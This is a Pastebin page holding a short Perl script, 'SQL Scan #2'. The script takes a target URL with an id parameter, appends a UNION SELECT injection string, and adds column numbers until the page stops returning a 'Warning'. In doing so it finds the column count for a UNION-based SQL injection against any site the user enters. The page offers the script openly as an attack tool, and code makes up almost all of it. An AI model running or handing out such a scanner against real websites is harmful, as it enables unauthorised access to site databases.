Advertisement
AssazziN

SQL Scan #2

Mar 19th, 2013
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.75 KB | None | 0 0
  1. use LWP::UserAgent;
  2. print "SQL Injection\n[+] Target \"www.xxx.xxx/index.php?id=\" = ";
  3. chomp($target=<STDIN>);
  4. @target=split(//,$target);
  5. while ($target[$#target]=~/[0-9]/ || $target[$#target]=~/-/) {
  6.     pop(@target);
  7. }
  8. $target=join('',@target);
  9. unless ($target=~/^http:\/\//) {
  10.     $target='http://'.$target;
  11. }
  12. print "[+] Scan ",$target,"\n";
  13. $target.="-1+UNION+SELECT+1";
  14. $oritarget=$target;
  15. chop($oritarget);
  16. print "[] Scan : 1\n";
  17. $agent=LWP::UserAgent->new;
  18. SCAN : for ($i=2;$i<50;++$i) {
  19.     $content=$agent->get($target)->content;
  20.     unless ($content=~/Warning/) {
  21.         print "[+] Found : $target";
  22.         exit;
  23.     }
  24.     print "[] Scan : ",$i,"\n";
  25.     $target=$target.",".$i;
  26. }
  27. print "[-] Not found";
  28.  
  29. #http://comfreedom.blogspot.com/2011/02/perl-sql-scan-2.html
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement